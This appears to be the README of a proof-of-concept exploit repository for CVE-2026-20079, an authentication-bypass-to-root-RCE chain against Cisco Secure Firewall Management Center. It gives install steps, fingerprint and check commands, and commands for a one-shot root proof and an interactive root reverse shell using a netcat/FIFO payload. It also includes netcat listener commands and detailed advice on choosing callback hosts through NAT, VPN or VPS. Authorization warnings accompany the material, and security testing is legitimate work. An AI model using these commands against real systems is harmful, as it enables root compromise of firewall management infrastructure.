
Implements the CVE-2026-20079 authentication-bypass-to-root-RCE chain against Cisco Secure FMC using fingerprint, check, proof, and interactive exploit modes.
Python proof of concept for the publicly documented Cisco Secure Firewall Management Center authentication-bypass-to-root-RCE chain in CVE-2026-20079.
This is not a new vulnerability or independently developed exploit chain. It is a clean-room implementation of the request sequence published by VulnCheck, with separate fingerprint, staged check, one-shot proof, and interactive exploit modes.
Python 3.10 or later is required. On Linux or macOS:
git clone https://github.com/CyberAuth/CVE-2026-20079.git
cd CVE-2026-20079
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install -r requirements.txt
python3 CVE-2026-20079.py --help
All 192.0.2.x values below are reserved documentation addresses. They are
placeholders, not discovered target information, and must be replaced with
values from the authorized assessment. The commands are not expected to work
unchanged.
| Example | Meaning | What to use instead |
|---|---|---|
https://192.0.2.10 | Target FMC URL | The exact authorized FMC scheme, address, and port |
192.0.2.20 | Address where the FMC connects back | The IP address or DNS name of the operator's listener as reachable from the FMC |
192.0.2.0/24 | Example fingerprint CIDR | An explicitly authorized network range |
4444 | Callback/listener TCP port | An approved reachable port on the callback system |
0.0.0.0 | Where the listener binds on the operator system | Keep it to listen on all local interfaces, or use one local interface address |
192.0.2.10 in --expected-callback-source | Expected source of the callback | The FMC source address as observed by the listener; omit this option when NAT makes it uncertain |
http://127.0.0.1:8080 | Optional local intercepting proxy | The proxy URL actually listening on the operator system |
--callback-hostUse this rule: from the FMC's point of view, which address reaches the
operator's listener? That address is --callback-host.
| Network path | Typical --callback-host value |
|---|---|
| Operator and FMC are on the same routed network | The operator system's reachable eth0, en0, or other LAN address |
| Operator reaches the FMC through a VPN | The reachable VPN interface address, such as tun0 or utun, when the FMC has a route to it |
| Operator is behind NAT or a firewall | The public IP or DNS name whose selected port is forwarded to the operator system |
| A callback tunnel or VPS is used | The reachable tunnel endpoint or VPS address |
Do not use 127.0.0.1 or 0.0.0.0 for --callback-host. 127.0.0.1 would
refer to the FMC itself, while 0.0.0.0 is a listener bind value, not a
destination. Ensure routing, firewall rules, and any port forwarding allow the
FMC to reach --callback-host on --callback-port.
--listen-host is local-only: it selects the interface on which the integrated
listener waits. Its default, 0.0.0.0, listens on every local interface. It
does not tell the FMC where to connect. Therefore, --callback-host and
--listen-host may be different, especially across NAT.
Assume this fictional, documentation-only lab:
Operator system FMC target
eth0: 192.0.2.20 192.0.2.10
1. Operator ---------------------------------------> FMC
HTTPS requests to https://192.0.2.10
2. Operator <--------------------------------------- FMC
Listener on TCP 4444 callback to 192.0.2.20:4444
The values map to the command as follows:
--target https://192.0.2.10 identifies the FMC being assessed.--callback-host 192.0.2.20 is the operator system's eth0 address because
the FMC can route directly to it.--callback-port 4444 is the approved TCP port used by the callback.--listen-host 0.0.0.0 makes the integrated listener accept the callback on
any local interface, including eth0.A one-shot proof command for that example would be:
python3 CVE-2026-20079.py \
--proof \
--target https://192.0.2.10 \
--callback-host 192.0.2.20 \
--callback-port 4444 \
--listen-host 0.0.0.0
The flow is: the operator sends HTTPS requests to 192.0.2.10, then the FMC
connects back to the operator's 192.0.2.20:4444. In a real assessment,
replace both IP addresses and confirm the return route before running the
command. If the FMC cannot reach the operator's eth0 address, use the
reachable VPN, NAT, tunnel, or VPS address described above instead.
| Mode | Network or target effect | Evidence or result |
|---|---|---|
--fingerprint | GET requests only | A possible FMC web surface; not vulnerability confirmation |
--check | At most two GET requests; no session upgrade | The known bypass response pattern fully or partially matched |
--check --intrusive | Upgrades server-side session state | Authentication bypass and access to an action token |
--proof | Writes and runs a bounded callback payload | Root execution plus cleanup, without an interactive shell |
--exploit | Writes and runs a FIFO/netcat payload | An interactive root callback, or bounded verification with --auto-verify |
Set the three example values once, replacing each with the authorized target, operator callback address, and port:
# Replace all three values before running a mode.
FMC_URL=https://192.0.2.10
CALLBACK_HOST=192.0.2.20 # Address the FMC can use to reach this listener
CALLBACK_PORT=4444
Then choose exactly one mode:
# GET-only product fingerprint; start here
python3 CVE-2026-20079.py --fingerprint --target "$FMC_URL"
# GET-only authentication-bypass check; does not upgrade the session
python3 CVE-2026-20079.py --check --target "$FMC_URL"
# Intrusive authentication-bypass check; changes server-side session state
python3 CVE-2026-20079.py --check --intrusive --target "$FMC_URL"
# One-shot root proof with integrated listener and verified cleanup
python3 CVE-2026-20079.py --proof --target "$FMC_URL" \
--callback-host "$CALLBACK_HOST" --callback-port "$CALLBACK_PORT"
# Interactive root callback; first start one listener in another terminal:
# Linux (common netcat variants): nc -lvnp "$CALLBACK_PORT"
# macOS built-in netcat: nc -lvn "$CALLBACK_PORT"
python3 CVE-2026-20079.py --exploit --target "$FMC_URL" \
--callback-host "$CALLBACK_HOST" --callback-port "$CALLBACK_PORT"
# Bounded root verification and cleanup instead of an interactive shell
python3 CVE-2026-20079.py --exploit --target "$FMC_URL" \
--callback-host "$CALLBACK_HOST" --callback-port "$CALLBACK_PORT" \
--auto-verify
[!IMPORTANT] Fingerprinting is a heuristic product-identification step, not a vulnerability check.
MATCHandLIKELYdo not prove that the target is affected or exploitable, andNO_MATCHdoes not rule out FMC. Reverse proxies, customized login pages, access controls, network failures, or product changes can affect the result.
Fingerprinting sends network requests but does not run the authentication bypass or RCE chain. The default check sends the special session cookie to a protected information endpoint, but does not submit credentials or upgrade the session. Read the classification details, mode descriptions, and session-state warning below before using any validation mode.
[!WARNING] Do not run
--check,--proof, or--exploitwithout explicit written authorization. Authorization for--check --intrusive, proof, and exploit modes must cover their target changes and proof method. Read the prerequisite, session-state limitation, and callback requirements first.